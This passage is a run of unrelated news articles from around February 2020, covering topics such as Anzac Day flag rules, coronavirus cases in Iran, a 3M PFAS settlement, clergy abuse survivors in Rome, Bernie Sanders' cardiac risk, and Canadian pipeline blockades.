complete a B.S. degree in Data Science or Technology Management. Graduates will receive a background in mathematics, science, data literacy, programming, and general education courses for transfer into a four-year program. The Data Science Certificate provides exposure to key elements of data science including data structures and data sources, programming languages, statistical principles, computing and analytics, data management, machine learning tools, and data science applications. Contact Professor Crystal Wiggins at 860-738- 6310, or by email: cwiggins@nwcc.edu, for more information about Northwestern Connecticut Community Colleges Data Science Programs. Canberra, Feb 21 : A decision to ban the Aboriginal flag and other forms of recognition from Anzac Day services in Western Australia (WA) has sparked widespread backlash, a media report said on Friday. Anzac Day marks the anniversary of the first major military action fought by the Australian and New Zealand Army Corps (Anzac) in World War One. Each year, solemn ceremonies are held on April 25 in both the countries to commemorate veterans and soldiers. But a veterans' organisation, Returned Service League (RSL), said it would no longer allow Aboriginal displays at its services in the state, the BBC report said. It added that all content, except the New Zealand anthem, must be in English. The RSL has previously been criticised for ignoring and diminishing the service of Aboriginal soldiers in World War One and other conflicts. Critics, among them indigenous and non-indigenous lawmakers, have called the move "offensive" and demanded it be reversed. According to the Australian War Memorial, at least 1,000 indigenous Australians are recorded to have fought for their nation in the First World War, and "the real number is probably higher". "It is not known what motivated Indigenous Australians to join the Australian Imperial Force (AIF), but loyalty and patriotism doubtless played a part," says the memorial's website. A Redford woman was sentenced to probation for stealing money from an elderly mans bank account, Michigan Attorney General Dana Nessel announced. Stephanie Joyce-Bennett Beauford, 52, was sentenced to 2.5 years of probation by Wayne County Circuit Court Judge Gregory Bill. She pleaded guilty in January to embezzlement from a vulnerable adult between $1,000 and $20,000. I will not stand by while criminals take advantage of our most vulnerable populations, Nessel said. Im grateful for the work done by investigators at the Department of Insurance and Financial Services and for the aggressive actions of my elder abuse prosecutors to ensure the victims family was made whole financially. Beauford had been a teller at Michigan First Credit Union since 2005. Michigan First terminated her employment following an interview in which she admitted to withdrawing funds from the account of a 92-year-old customer, who was hospitalized at the time. Beaufords embezzlement charge was filed in December 2019 after investigators determined she had withdrawn a total of $24,000 from the account of the elderly man. Beauford repaid $20,000 of the money she took at an earlier date and paid $4,000 in restitution as part of the plea agreement. After AIMIM leader Waris Pathan said that 15 crore Muslims can dominate 100 crore Hindus, Congress leader Husain Dalwai said that Muhammad Ali Jinnah used to speak in this manner. "Ye aisa hai ki Jinnah iss tarah se hi baatein karte they. Aur unhone ye dhyan me rakhna chahye ki iss desh me Jinnah abhi paida nahi hoga. Na Jinnah ko Hindu manega, na Musalman manega (Jinnah used to speak like this. They should remember that Jinnah will not be born here again. Neither the Hindus, nor the Muslims will believe in Jinnah)," Dalwai told ANI here. While addressing an anti-CAA rally on Wednesday, Pathan had said, "The time has now come for us to unite and achieve freedom. Remember we are 15 crore but can dominate over 100 crores." "They tell us that we have kept our women in the front - only the lionesses have come out and you are already sweating. You can understand what would happen if all of us come together," he said. The CAA fast-tracks citizenship to Hindu, Sikh, Jain, Parsi, Buddhist, and Christian refugees from Pakistan, Afghanistan, and Bangladesh, who came to India on or before December 31, 2014, fleeing religious persecution. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A quadruple murderer was put to death in Tennessee on Thursday despite lawyers asking the US Supreme Court for a stay of execution. Nicholas Sutton, 58, was found guilty of stabbing a fellow inmate to death in 1985. At that time, Sutton was serving a life sentence for killing his grandmother, who had raised him, in 1979 when he was 18 years of age. Sutton later led police to the bodies of two other people whom he confessed to killing. Sutton's lawyers in January asked the state's Republican governor, Bill Lee, to grant clemency, citing expressions of support for Sutton from prison officials. The request stressed that Sutton had intervened several times to protect prison guards and fellow inmates from violence. In particular he was said to have saved the life of a guard during a prison riot in 1985. Sutton's defenders said he had been a model prisoner for more than 30 years and noted that even some in the families of his victims opposed his execution. They included the daughter of the inmate he killed. But Lee turned down the request. Sutton's lawyers then filed a last-ditch appeal with the US Supreme Court. Tennessee suspended executions in 2009 because of a controversy over lethal injections but reinstated them in 2018. Sutton was the seventh person executed since then and the fifth to choose the electric chair as method of execution. Sutton's was the fourth execution this year in the United States. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Chinese man wears a protective mask as he walks by a propaganda banner on February 20, 2020 in Beijing, China. The small outbreak in Iran has been linked to a case in Canada and another infection of a 45-year-old woman in Lebanon after those patients traveled to the Middle East nation. Earlier in the day, Iran confirmed 13 new coronavirus cases, bringing its total in the country to 18. Seven people with the flu-like virus were diagnosed in Qom, four people in Tehran and two in Gilan. World health officials said Friday the COVID-19 coronavirus outbreak in Iran, where health officials confirmed 18 new cases and four deaths in just two days, is "very worrisome." "The cases that we see in the rest of the world, although the numbers are small, but not linked to Wuhan or China, it's very worrisome," Tedros Adhanom Ghebreyesus, director-general of the World Health Organization, said Friday at a news conference at the agency's headquarters in Geneva. "These dots are actually very concerning." Health officials are receiving information about the patients in Iran, but "we have to engage them even more," Tedros said. World health officials still have a chance to contain the virus, he said, but it's getting less likely by the day. "The window of opportunity is still there, but our window of opportunity is narrowing," he said. "We need to act quickly before it closes completely." He also cautioned: "This outbreak could still go in any direction." Iran's health-care system has the "basic capacity" to detect and contain the coronavirus, said Dr. Jaouad Mahjour, assistant director of emergency preparedness at WHO. World health officials said they remain concerned about the potential spread of the virus to countries with weaker health systems. Outside of China, there are 1,152 cases across 26 countries, including eight deaths, Tedros said. World health officials have said the respiratory disease is capable of spreading through human-to-human contact, droplets carried through sneezing and coughing and germs left on inanimate objects. There are no proven therapies for the new virus. For a decade, Whitfield County CERT members have helped spread the word about the organization and how the free training they received can help in the aftermath of a disaster - photo by Mitch Talley Free weather radios have proven to be a popular item. Here, CERT members distribute the free radios to a long line of local residents at the Dalton-Whitfield Library - photo by Mitch Talley Whitfield County CERT members pose with some of the emergency-related items they received for winning the state CERT Challenge - photo by Mitch Talley So many volunteers turned out to help search for a missing teenager in 2009 that local emergency officials decided to tap into that passionate manpower with the formation of a CERT program in Whitfield County the next year. Ten years later, the Whitfield County Community Emergency Response Team is celebrating a decade of service from more than 300 graduates of the program. The community really came together and wanted to help us with that search in 2009, says Amy Ramsey of Whitfield Emergency Management Agency. After more than 200 people showed up to help out, we realized the volunteers actually needed a little more training and a little more specific tasking to make them more effective. Thats where CERT entered the picture. Ms. Ramsey and fellow 911 workers Jeff Ownby and Carla Maton attended Train the Trainer sessions to learn how to organize a local program, which has been significantly funded through state grants, and they hit the ground running with 19 students in Academy 1 in June 2010. The idea of the whole program is first preparedness, getting the community prepared for a disaster, Mr. Ownby said back then, a message hes repeated numerous times over the ensuing 10 years. Then we tell them, If youre OK, can you check on your family? Your familys OK. Well, now can you check on your neighbor? Thats kind of our message. Then the last phase as we try to build the program is that we actually have some trained responders who can help out in times of some major emergency in the community. With each passing Academy, as the sessions are called, Whitfield County has built up an impressive number of CERT graduates, with the total hitting 309 after 18 sessions, with Academy No. 19 slated to begin at the end of February. Since 2020 is a leap year, Ms. Ramsey and Mr. Ownby are asking local residents to devote their extra day in February as part of the two-day session where they will learn how to help their families and their community in case of a disaster. Its not too late to sign up for the free session, set for Feb. 29 and March 1, by calling 706-259-3730 or at this website. CERT includes classroom and hands-on training in preparedness, fire safety, disaster, medical and triage, safety and rescue and more. While Whitfield County has been fortunate to escape major disasters since CERT formed, members of the group have been called on to help out after tornadoes struck in two neighboring counties (Catoosa and Gordon). Theyve also been busy in other ways over the years, helping hand out free weather radios (when available through grant funding) to local residents, for example. The local program has also earned a bit of a sterling reputation statewide during that time, with four local CERT Volunteers of the Year going on to win state honors. Back in 2011, shortly after helping out with the tornado recovery efforts in Catoosa County, CERT graduates used that real-world experience to give them an edge at the Georgia CERT Rodeo, where they placed first in most divisions. Sharing their knowledge with others has likewise been a big part of the local CERT program, with Whitfield County officials helping start up or revive other programs in the area. While the curriculum is pretty much the same nationwide, local officials have made a few changes to their sessions over the years, responding to current events, including the addition of CRASE (or Civilian Response to Active Shooter Events) and Stop the Bleed training that shows the proper use of tourniquets, for instance. CERT members also help out in other ways. During the recent one-day snow event in Whitfield County, Ms. Ramsey sent out notices to CERT members, asking them to measure the snow at their house because theyre scattered across the community so we could find out how much snow fell in each section of the county, she said. Another notification went out a few days later, asking CERT members to report any flooding they might encounter and send pictures. Reflecting on the past decade, Ms. Ramsey says she is proud of the past 10 years with CERT and is thankful for all those who became more prepared and grateful for those who have volunteered with us. Its a good benchmark, 10 years, Mr. Ownby says. I feel like weve had a great program, very successful, and will have for many years to come, hopefully. We appreciate the support of the county commissioners and all the people who have volunteered for CERT. Convicted gang rapist Mohammed Skaf will remain behind bars for at least another year after NSW authorities knocked back his bid for parole. Skaf's case was considered on Friday by the State Parole Authority, which decided for the third time it was unsafe to release Skaf into the community. The Serious Offenders Review Council told the authority the 36-year-old needed to complete an external leave program before being released. Mohammed Skaf's (pictured) case was considered on Friday by the State Parole Authority, which decided for the third time it was unsafe to release him into the community If Skaf doesn't appeal the decision, his next parole bid will begin in November 2020. Mohammed Skaf was convicted alongside brother Bilal for a terrifying series of rapes in Sydney throughout 2000. He was sentenced in 2001 to 22 years in prison, with a non-parole period of 16 years. If he is not granted parole, Skaf's full prison sentence expires in January 2024. Mohammed Skaf was convicted alongside brother Bilal (pictured) for a terrifying series of rapes in Sydney throughout 2000. A pre-release report compiled by Corrective Services in 2018 said Skaf 'has demonstrated no change in his attitude toward his offences since the beginning of his sentence' and 'continues to blame the victims'. The attacks involved 14 men and were led by Bilal and Mohammed. [February 20, 2020] 3M Reaches Settlement Agreement with Wolverine Worldwide 3M (News - Alert) and Wolverine World Wide, Inc. have reached an agreement to address PFAS in the environment in Michigan's Plainfield and Algoma Townships. This agreement resolves legal claims between the two companies and pertains only to the lawsuit between Wolverine and 3M. "Environmental stewardship is core to 3M, and we are committed to developing and contributing to PFAS solutions guided by sound science, responsibility and transparency," said John Banovetz, senior vice president, Innovation & Stewardship and Chief Technology Officer. "This agreement will support Wolverine's work with the State of Michigan to conduct previously announced and continuing investigation and remediation activities, which will improve water infrastructure and treatment in certain communities in western Michigan." Under the terms of the settlement, 3M will make a fixed financial contribution of $55 million to support Wolverine's past and ongoing efforts to address PFAS remediation under Wolverine's Consent Decree with the state of Michigan. This amount was part of 3M's fourth-quarter significant litigation-related charge that was discussed during its January 28, 2020, earnings conference call and included in the recently filed Form 10-K. 3M will not be responsible for any additional response costs incurred in connection with the Consent Decree. Wolverine reflected incremental environmental remediation costs of $113 million and has stated that "actual amounts could differ significantly in the future as circumstances evolve." To date, 3M has invested more than $100 million in testing water sources around the country to better understand the quality of both groundwater and drinking water in communities, and more than $50 million toward installing carbon filtration systems for drinking water sources. We will continue to invest in cutting-edge technology and work with communities to identify where this technology can make a difference. 3M will continue to dedicate time and resources to researching PFAS. Forward-Looking Statements This newsrelease contains forward-looking information about 3M's financial results and estimates and business prospects that involve substantial risks and uncertainties. You can identify these statements by the use of words such as "anticipate," "estimate," "expect," "aim," "project," "intend," "plan," "believe," "will," "should," "could," "target," "forecast" and other words and terms of similar meaning in connection with any discussion of future operating or financial performance or business plans or prospects. Among the factors that could cause actual results to differ materially are the following: (1) worldwide economic, political, regulatory, capital markets and other external conditions and other factors beyond the Company's control, including natural and other disasters or climate change affecting the operations of the Company or its customers and suppliers; (2) liabilities related to certain fluorochemicals, including lawsuits concerning various PFAS-related products and chemistries, and claims and governmental regulatory proceedings and inquiries related to PFAS in a variety of jurisdictions; (3) legal proceedings, including significant developments that could occur in the legal and regulatory proceedings described in the Company's Annual Report on Form 10-K for the year ended Dec. 31, 2019, and any subsequent quarterly reports on Form 10-Q (the "Reports"); (4) competitive conditions and customer preferences; (5) foreign currency exchange rates and fluctuations in those rates; (6) the timing and market acceptance of new product offerings; (7) the availability and cost of purchased components, compounds, raw materials and energy (including oil and natural gas and their derivatives) due to shortages, increased demand or supply interruptions (including those caused by natural and other disasters and other events); (8) unanticipated problems or delays with the phased implementation of a global enterprise resource planning (ERP) system, or security breaches and other disruptions to the Company's information technology infrastructure; (9) the impact of acquisitions, strategic alliances, divestitures, and other unusual events resulting from portfolio management actions and other evolving business strategies, and possible organizational restructuring; (10) operational execution, including scenarios where the Company generates fewer productivity improvements than estimated; (11) financial market risks that may affect the Company's funding obligations under defined benefit pension and postretirement plans; and (12) the Company's credit ratings and its cost of capital. Changes in such assumptions or factors could produce significantly different results. A further description of these factors is located in the Reports under "Cautionary Note Concerning Factors That May Affect Future Results" and "Risk Factors" in Part I, Items 1 and 1A (Annual Report) and in Part I, Item 2 and Part II, Item 1A (Quarterly Reports). The information contained in this news release is as of the date indicated. The Company assumes no obligation to update any forward-looking statements contained in this news release as a result of new information or future events or developments. About 3M At 3M, we apply science in collaborative ways to improve lives daily. With $32 billion in sales, our 96,000 employees connect with customers all around the world. Learn more about 3M's creative solutions to the world's problems at www.3M.com or on Twitter (News - Alert) @3M or @3MNews. View source version on businesswire.com: https://www.businesswire.com/news/home/20200220005962/en/ [ Back To Call Center Scheduling Homepage ] VATICAN CITY (RNS) One year after Pope Francis called for a summit of Catholic bishops at the Vatican, abuse survivors flocked to the Eternal City on Thursday (Feb. 20) to report a lack of progress and accountability in the fight against clergy sex abuse. Three Argentine deaf abuse survivors of the notorious pedophile priest Nicola Corradi, who in November was convicted and sentenced to prison for the abuse of students at the Provolo Institute for Deaf and Hearing Impaired Children, gave a press conference in Rome on Thursday and stood in St. Peters Square demanding justice and reparations from the Catholic Church and Pope Francis. We demand a law that obligates the Vatican to stop the coverup and change the situation decisively, said Daniel Sgardelis, one of the Argentine survivors, with the help of an interpreter at the press conference. The deaf have always suffered abuse from priests, and we need this to change. Thats enough! he added. Another survivor, Ezequiel Villalonga, explained that the group had just returned from a meeting with United Nations officials in Geneva where they accused the Catholic Church of withholding crucial evidence, failing to collaborate with civil authorities and refusing to pay reparations to the 24 victims of Corradi in Argentina. In Argentina, we havent gotten justice, Villalonga said. Now we are survivors and we know our rights and we demand for this to stop. The deaf victims of Corradi and other members of the Catholic clergy in Argentina were accompanied by their lawyers and representatives from other international survivor networks, Ending Clergy Abuse and bishopaccountability.org. Corradi was a member of the religious order the Company of Mary, dedicated to the care of the deaf and mute and based in Verona, Italy. In 2009, he was accused of sexually abusing the deaf students at Antonio Provolo Institute for the Deaf along with another 24 priests, brothers and laypeople between the 1950s and 1980s. Over 65 deaf people in Verona claimed to have been sexually abused by clergy at the school when they were children. None of the accused were prosecuted due to the Italian statute of limitations. In 1970, for reasons that are unknown, the Vatican transferred Corradi and other clergy members, who would later be accused of abuse, to Argentina. He taught in schools at La Plata between 1970 and 1997 and in Mendoza between 1997 and 2016. There he sexually abused deaf students between the ages of 5 and 12. The prosecutor in La Plata described Corradis abuses as marked by unusual violence. The victims reported being tortured, starved and forced to sleep naked outside. Most of the abuse targeted victims with no family, and students were punished if they tried to learn sign language. The method adopted by the Provolo Institute was based on teaching the deaf to understand language by lip-reading and body language. The students who left the institute did not know sign language and were never taught how to read or write. Corradi was charged, along with two other priests Horacio Corbacho and Armando Ramon Gomez Bravo and sentenced to 42 years in prison for the sexual abuse of minors. Another trial is underway against nine women including two religious sisters who allegedly covered up and enabled the abuse. Some estimate that over 200 deaf children of the Provolo Institutes from Italy and Argentina were sexually abused by Catholic clergy. The survivor groups came to Rome to request a meeting with Pope Francis and petition him to put an end to sexual abuse by clergy. On Thursday they stood in St. Peters square holding banners asking for accountability and zero tolerance for sexual abuse. They will also do a sit in on Friday (Feb. 20) at the Vaticans Congregation for the Doctrine of the Faith (CDF), which is charged with addressing sex abuse allegations against clergy all over the world. We think Pope Francis has a direct responsibility, said Lucas Lecour, the lawyer of the Provolo victims and head of the Argentine human rights organization XUMEK, in an interview with Religion News Service (Feb. 20). Lecour said Vatican officials have been withholding crucial information from Argentine prosecutors and investigators, especially the documents resulting from the in-house investigation ordered by Pope Francis starting in 2015. We dont care about words, but we care about action, he said, adding that the group plans to demand the documentation be given directly to the CDF. Last December, Pope Francis released a document abolishing pontifical secrecy for cases of sexual abuse and cover-up, allowing lawful authorities to have access to reports, testimonies and documents. The document was described as historic by papal observers and was released shortly after a Vatican summit of major ecclesial representatives, survivor networks and advocates gathered to address the ongoing sexual abuse crisis plaguing the Catholic Church. But one year after the summit, Peter Isely, a clergy abuse survivor and founding member of the U.S. based SNAP (Survivors Network of those Abused by Priests), told Religion News Service that, while the rhetoric adopted by Pope Francis would get an A plus, the follow-up and actions undertaken receive a D minus. Pope Francis must undergo a conversion in terms of talking about sexual abuse, he added. Until you have zero tolerance, you fail, he said. He described the Provolo case as one of the few sex abuse cases that sees Pope Francis as directly in the loop, since some of the events took place while he was still Archbishop of Buenos Aires. In May 2014, deaf survivors in Italy wrote to the Argentine pontiff to report their abuse and that the perpetrators were still at large in Argentina. One of the victims personally handed Francis a letter with that same information in 2015. Never count out deaf survivors, Isely said, adding that in his home state of Wisconsin it was the tireless effort of the deaf boys who were sexually abused by Father Lawrence Murphy that allowed their plight to come into the public eye. Murphy was accused of sexually abusing about 200 deaf boys at the St. John School for the Deaf between the 1950s and 1970s. Deaf survivors to me started this, and I think deaf survivors from Argentina will end it, thats my prayer, he said. READ THIS STORY AT RELIGIONNEWS.COM Article originally published by Religion News Service. Used with permission. Photo courtesy: RNS/Claire Giangrave The first Jewish school for the Australian Capital Territory and region has opened its doors this week in what is being hailed as a historic milestone for the Canberra Jewish community. Incoming Principal Rebbetzin Chasia Feldman received final approval by the ACT Government to open the primary school for years K-6 on following a rigorous two-year process with inspections by a Government-appointed educational panel. The school will provide an educational extension to many of the children enrolled in Gan Yisroel, Canberras Jewish daycare center and preschool established by Chabad ACT in 2014, as well as to other Jewish school children living or moving to the nations Capital and region. Chairman of Chabad ACT, Rabbi Shmueli Feldman said, A Jewish school is an essential element for any viable Jewish community. In Canberra, particularly with its national significance, it is crucial that Jewish families that live and move here have the option for their children to be educated in a Jewish environment and to have access to the same excellent Jewish education being offered in other cities around Australia. The school, he said, will complete the basic infrastructural package for enabling and preserving Jewish life and practice in Canberra with which we set out to achieve when we, as a family, arrived here seven years ago. Mrs. Menouha Wasserman, the schools headteacher, said she looks forward to offering students a school which will offer the best of all worlds in a Jewish spirit. Founding Canberra Jewish School committee member, Ms. Alisa Krasnostein said she was so excited to watch the first intake of children head off on their very first day of school. Its vitally important for Canberra to offer an option for Jewish education to Jewish families, particularly when considering whether a move to the city was viable. The school has paced its opening with composite aged classes and hopes to encourage broader enrollments as the school year progresses. In early October, while campaigning in Nevada, presidential candidate Bernie Sanders was rushed to the hospital experiencing chest pain. He was admitted and had two drug-eluting heart stents placed in his left anterior descending arterythe one commonly known as the widow-maker. Three days later, the campaign released a statement confirming what any practicing physician could deducethe senator had experienced a heart attack. In the months since, hes emerged as the frontrunner in a competitive race, keeping up a busy campaigning schedule and performing energetically in the debates. The news of his heart attack largely receded from the coverage of the race, and he recently announced he wont be sharing more information about it, despite his October promise to make all of his medical records public. (Its worth noting that in our fragmented system, the concept of a full medical record is actually a kind of fantasy. What would prove useful here would be more comprehensive original records, not just summaries; in Sanders case, even just a few key documents from the past year expanding more on what happened in October would be clarifying.) Advertisement Advertisement Advertisement Advertisement If Sanders were to honor his promise to release his full records, a nearly complete analysis of his short-term health risks could be made. As a physician who assesses these types of risks on a daily basis, I believe that all candidates, especially older onesand particularly Michael Bloomberg, who has just revealed that he has heart disease significant enough to warrant coronary stenting in the pastshould level with the American people and release not just summaries from their personal physicians but comprehensive and detailed medical records. But even with the information we have now, its possible to take a meaningful look at the risks of further health problems cropping up during the senators campaign. I considered the risk that, between now and Nov. 3, Sanders might experience any of the following: a second heart attack, another life-threatening emergency, any event that would require hospitalization (including any false alarm), or even death. The risk is not trivial, and is worth explaining in full. Advertisement Advertisement First, there appears to be little evidence that Sanders current health is a hindrance to the daily rigors of a national campaign. Considering the extent of his heart attack in October, he appears to be doing well, able to campaign vigorously, and likely up to the demanding position of president, from an endurance standpoint at least. Nor is his life expectancy the central question, though, yes, his remaining expected life span dropped from around 10 to five years after his heart attack. But his one-year risk is low, meaning his chance of surviving the campaign is good. When Sanders entered the hospital in October (given what weve been told by his doctors), his calculated six-month risk of death was rather harrowing, likely between 11 and 19 percent. Fortunately, by virtue of surviving his initial hospitalization, and the incident-free intervening four months, those numbers have improved, to better than 95 percent. Advertisement Advertisement Advertisement Advertisement The documents that have been released by the Sanders campaign provide information that seems positive: Two months after his heart attack, for example, the senator performed 50 percent better on an exercise stress test than men of his age who had similar conditions. But compared with men his age without known heart conditions, his exercise capacity was described by his own physicians as merely average. So, what we can say is that whatever statistical edge Sanders may have had over the general population of his geriatric peers in September was forfeited in an instant in October. He is now, cardiovascularly speaking at least, a typical old man. Whats the risk that nonfatal emergencies could take him off the trail between now and Nov. 3, the optics of which would be important to the race, even if he mounted another successful and speedy recovery? We have good ways of estimating that chance. Granular data from one of the most influential cardiovascular trials of the 21st century shows that upon release from the hospital after a heart attack like Sanders, the 12-month risk of either another heart attack, a stroke, or death deemed to have been caused by another cardiovascular problem in men 75 or older was at least 18.3 percent, or a little better than 1 in 5. This is despite daily doses of clopidogrel, a drug Sanders now takes to help prevent these outcomes (though it also increases his chance of internal bleeding), as noted in the records he has released. Advertisement Advertisement Advertisement Advertisement The good news for Sanders is that hes fared well in the first four months after his heart attack, which is when about two-thirds of these complications generally occur. That means his risk for the remainder of the year is now likely to be around 6 percent. But because he hasnt released the full record from his October hospitalization, we dont know if that number is actually substantially higher or lower. Both are possible. Knowing the results of his first cardiac blood tests (which appear to have been abnormal, though the precise language weve been given makes this a little vague), the presence of certain key features on his electrocardiogram (the information his doctors released is conspicuously vague on this), and how long it was from the time he first experienced symptoms related to his heart attack to when his coronary arteries were stented open could markedly alter this estimate, in either direction. Advertisement Advertisement In a presidential race, being hospitalized for any reason matters. Theres another element to consider, behind the straight risk of another heart attack, stroke, or even death. In a presidential race, being hospitalized for any reason matters. So how likely is Sanders to require another hospitalization between now and November, even if none of these more serious cardiovascular events occur? Thanks to government-funded research of Medicare databanks, we can take a very close look at this. Using Medicare claims data, researchers at Yale analyzed millions of patients who suffered heart attacks like Sanders. (As an aside, using adjectives like mild, moderate, or severe to describe Sanders heart attack is not helpful. What we can say is that these researchers were looking precisely at patients like Sanders who had experienced approximately the same problem as his, in the same time frame.) Advertisement Advertisement Heres what they found: From the day they left the hospital, the one-year risk of at least one rehospitalization for any reason in Medicare beneficiaries who suffered a heart attack like Sanders was about 50 percent (the baseline annual risk among his age cohort is more like 1 in 6). Again, by virtue of four incident-free months on the trail, that number is now lower for Sanders. But his chance of another hospitalization between now and November alone likely remains between 3035 percent. While the daily risk is low, around 0.17 percent, we have more than 250 days to go until Election Day. The risks add up. Whats the chance of a mere ER visit that doesnt end in hospitalization? Those statistics may exist, but I couldnt find any publicly available information to answer that question (the team at Yale does not have these numbers). What we can say, though, is that the rate of ER visits within one year of a heart attack is bound to be substantially higher than the rate of rehospitalizations. This makes senseif you feel a little off, and youve recently had a heart attack, youre probably going to go get it checked out. In my experience with these patients, the most common diagnosis is, thankfully, a false alarm. (I do worry about whether an aversion to the optics around an ER visit during a campaign might have the opposite effect, preventing a candidate from seeking emergency care precisely when he needs it the most.) Advertisement Advertisement Advertisement Advertisement Advertisement So, those are the short-term risks. What are the long-term risks? Again, Medicare claims data, this time analyzed by researchers at UCLA and Duke, provides information. We know that at five years, about half of population who has had heart attacks like Sanders remains alive. Once he makes it a full year, his odds of surviving a first presidential term would be about 65 percent, and would be 40 percent for two terms. The risk of a second heart attack during his first term hovers at about 30 percent, and would reach about 50 percent by the end of a second term. (This risk of this outcome in particular might be much higher or lower, but the relevant data from his hospitalization from October remains under lock and key.) Advertisement How does Sanders risk of a medical emergency (or even the optics nightmare of a false alarm) stand in comparison with his competition? Right now, it is impossible to say. Thats because, unfortunately, we lack substantial (or any) records of the remaining candidates. (Sanders has actually released the most information about his health of any candidate.) Getting the records would be easy. A signed HIPAA release form is all that is needed. From there, external experts would be able to assess and provide further insight. While, in my opinion, these records would be unlikely to move the needle in favor or against any candidate most of the time, there are sure to be instances, either now or in the future, when voters will have benefited from that information. Medical transparency in the age of the geriatric presidency is a good habit. Lets start it now. The opinions expressed in this article are solely those of the author and do not reflect the views and opinions of Brigham and Womens Hospital. You have permission to edit this article. Edit Close The mountain lion that injured a 6-year-old girl on Sunday morning in Santa Clara County has been captured and euthanized by wildlife officials. After three days of searching the Rancho San Antonio County Park and Open Space Preserve, wildlife officials found the female mountain lion in a tree on Wednesday, according to the California Department of Fish and Wildlife. Officials sedated the mountain lion out of an abundance of caution and collected a DNA sample, which was sent to departments Wildlife Forensics Laboratory in Sacramento for analysis to see if it was the one involved in the attack. The genetic profile from the DNA sample matched samples taken from the girl, officials said. The cougar was estimated to be 60 to 70 pounds and 2 to 4 years old. Because the animal has been confirmed to be the same one involved in the attack, it has been humanely euthanized by CDFW staff for public safety purposes, officials said. Wildlife officials said they are actively engaged in mountain lion conservation in California, but said they euthanized the puma because they confirmed it attacked a human. They cited public safety as their top priority. The girl was walking with family members on the Wildcat Loop Trail about 10 a.m. Sunday when the lion bit her leg. She is recovering from minor injuries, officials said. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Officials said Sundays mountain lion attack is the second in the state so far this year, the first being a non-fatal attack in Orange Countys Whiting Ranch Wilderness Park in January. Since 1986, wildlife officials said, there have been 17 confirmed mountain lion attacks. The last fatal attack occurred in 2004, officials said. Lauren Hernandez is a San Francisco Chronicle staff writer. Email: lauren.hernandez@sfchronicle.com Twitter: @LaurenPorFavor The Chinese government has made plans to sell off airline assets of HNA group during it's take over as they take a drastic step in the containment of the economic damage that happened amid the coronavirus outbreak. In the Southern Island province of Hainan where HNA is based, the local government has had talks with the current management of the company in regards to taking hold of the group after the outbreak has impaled its ability to meet its financial obligations. Between 2016 and 2017, the airline had its shot to prominence after they won a debt-fuelled acquisition spree and a leading shareholder of big companies like Deutsche Bank and Hilton Worldwide Holding, and also buying large properties in Hong Kong and Manhattan. With China's economy going down due to shutdowns and travel bans imposed in view of the looming coronavirus outbreak which has killed thousands in the country, Chinese president Xi Jinping is seeking to prevent the temporary economic curb to turn into a permanent pain for the country outliving the contagion. Hence, the government has considered direct cash infusions or mergers to keep their airline industry stable. Whilst, the People's Bank of China has made its statement regarding domestic consumption, the government taking over a high-profile group such as HNA will take those efforts to a whole new level. Also read: Coronavirus Cripples Face Mask Production, Poses Challenge to Medical Professionals Worldwide According to sources of South China Morning Post who chose not to be identified, although talks could drag on the deal and the discussions remain confidential, an announcement regarding the takeover could be made as early as Thursday. Furthermore, the sources said that assets of the company will be sold to three of the country's biggest airlines named, China Southern Airlines, China Eastern Airlines, and Air China. However, as of the moment, nothing is final yet as discussions are still taking place. After a $40 billion buying binge that left HNA in high levels of corporate debt, the company has been on the verge of bankruptcy. The group has been trying to return to its aviation roots in the past year. In November, it can be recalled that the company made an announcement that it would divide it's businesses into aviation leasing, airlines, and airports, lumping the rest of its assets into non-aviation asset management. However, its focus on airlines and aviation took an awful turn as tourism and flights in and out of the country plummeted due to the 2019 novel coronavirus outbreak that started in Hubei Province. For years, HNA has been struggling with its debts which once reached almost $86 billion. At the end of 2019, the companies Chairman Chen Feng said that this year would be the decisive year to win the war against the conglomerate's long-running challenges. However, with the current status of the HNA group, it is apparent that they have not won this war. Related article: China Coronavirus Outbreak: Critics Blame Government for Secrecy of Info, Control of Media @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Public Safety Minister Bill Blair speaks at a news conference in Parliament Hill on the morning of Feb. 20, 2020. (Courtesy of The Canadian Press) Feds Hope to Meet With Wetsuweten Chiefs and Negotiate End to Blockades OTTAWATraditional chiefs from British Columbia at the heart of the Coastal GasLink pipeline protest are now in eastern Ontario, where federal cabinet ministers hope their proximity to the capital might mean a chance to sit down and talk about deescalating the current impasse. Blockades raised by some Indigenous people and other supporters of the Wetsuweten First Nations hereditary leaders have stopped rail traffic in eastern Canada and temporarily blocked roads, bridges and ports across the country. Some Wetsuwetens hereditary chiefs oppose the pipeline that would bring natural gas to a liquefaction facility and export terminal on the B.C. coast. But others in the community do support the project, including 20 First Nations bands along the route that have signed agreements with Coastal GasLink. On Thursday, RCMP in B.C. sent a letter to the hereditary chiefs saying the force intends to move its officers out of the territory and station them instead in the nearby town of Houston. Public Safety Minister Bill Blair said he believes this move meets conditions set by the Wetsuweten hereditary chiefs, who have been calling for the RCMP to leave. I believe the time has come now for the barricades to come down, Blair said. We have met the condition that those who are on the barricades had said was important to them before they would change their posture, and that work has been done, and I think quite appropriately. Countrywide protests and blockades followed a move by the RCMP to enforce a court injunction earlier this month against the hereditary chiefs and their supporters, who had been obstructing an access road to a Coastal GasLink work site. Twentyeight people were arrested, including one hereditary chief. The chiefs have demanded the RCMP leave their traditional land and have refused to meet with federal or provincial officials until this was done. Prime Minister Justin Trudeau is under increasing pressure to end the blockades, with Conservatives calling for the government to use force, while the Liberal government insists negotiations are the only way to a lasting solution. Blair said the decision to move officers away from their outpost on the traditional Wetsuweten territory was a decision made by the RCMP in B.C., not by politicians, although he was quick to say he believes it was the right move. Its moving towards a less confrontational and a more peaceable arrangement entirely appropriate to the circumstances, and Im very hopeful that will satisfy the concerns that were raised, he said. Trudeau spoke with premiers Thursday in a call with the Council of the Federation to discuss the disruptions to infrastructure caused by the blockades and how they are affecting farmers, businesses, families, and workers. The Prime Ministers Office said Trudeau highlighted that the government is looking at options to end the blockades as quickly as possible and reaching a peaceful and lasting resolution that builds trust and respect among all parties involved. Banners hang on a fence as protesters stage a blockade of the rail line at Macmillan Yard in Toronto, on Feb. 15, 2020. (Chris Young/Canadian press) It said the federal government is working closely with the B.C. government and will continue working closely with all the premiers. Prime Minister Trudeau noted the RCMPs offer to withdraw its operations from Wetsuweten territory, and the ongoing offer made by Minister of CrownIndigenous Relations Carolyn Bennett to meet with Wetsuweten hereditary chiefs to address both urgent and longer term 